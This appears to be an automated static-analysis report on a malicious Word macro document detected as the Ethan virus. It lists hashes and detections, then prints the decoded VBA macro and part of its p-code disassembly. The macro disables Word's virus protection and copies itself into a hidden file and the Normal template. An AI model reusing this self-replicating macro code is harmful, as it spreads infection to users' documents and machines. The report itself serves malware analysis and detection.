Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1be658c4d2e4009e…

MALICIOUS

Office (OLE)

33.5 KB Created: 2000-03-09 15:35:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 08b8953c0716aaf647da81c4ced0938d SHA-1: 2ed165c404b0e586341c2ac70e257bced96ace9f SHA-256: 1be658c4d2e4009ee720fe4a11182d72464b08367f2d1ba036b10e95111a9969
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros that are designed to copy their own code to a file named 'c:\ethan.___' on the local filesystem. This behavior is indicative of a downloader or dropper mechanism, where the macro itself acts as a loader for subsequent malicious stages. The ClamAV detections further confirm the malicious nature of the file.

Heuristics 2

  • ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-20
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6228 bytes
SHA-256: 0b8fa932173e5ebfbafa1681cda54d2d63107618751fd82a11cac7ffbfe14cf0
Detection
ClamAV: Doc.Trojan.Ethan-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\ethan.___", 6) = "" Then
  Open "c:\ethan.___" For Output As #1
  For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
    Print #1, a
  Next i
  Close #1
  SetAttr "c:\ethan.___", 6
End If
'If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
  Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
  Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
  t = ""
End If
If t <> "" And False Then
  Open "c:\ethan.___" For Input As #1
  If LOF(1) = 0 Then GoTo q
  i = 1
  Do While Not EOF(1)
    Line Input #1, a
    t.CodeModule.InsertLines i, a
    i = i + 1
  Loop
q:
Close #1
If Rnd < 0.3 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Ethan Frome": .Author = "EW/LN/CB": .Keywords = "Ethan": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub


' Processing file: /opt/analyzer/scan_staging/af7ebc1b258f491bba6501504794ea48.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3353 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #3:
' 	LitDI2 0x0001 
' 	UMi 
' 	Not 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #4:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #5:
' 	ArgsCall Read 0x0000 
' Line #6:
' 	LitStr 0x000C "c:\ethan.___"
' 	LitDI2 0x0006 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #7:
' 	LitStr 0x000C "c:\ethan.___"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #8:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #9:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St a 
' Line #10:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld a 
' 	PrintItemNL 
' Line #11:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #12:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #13:
' 	LitStr 0x000C "c:\ethan.___"
' 	LitDI2 0x0006 
' 	ArgsCall SetAttr 0x0002 
' Line #14:
' 	EndIfBlock 
' Line #15:
' 	QuoteRem 0x0000 0x0035 "If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys""
' Line #16:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x001C "Private Sub Document_Close()"
' 	Ne 
' 	IfBlock 
' Line #17:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set t 
' Line #18:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0
... (truncated)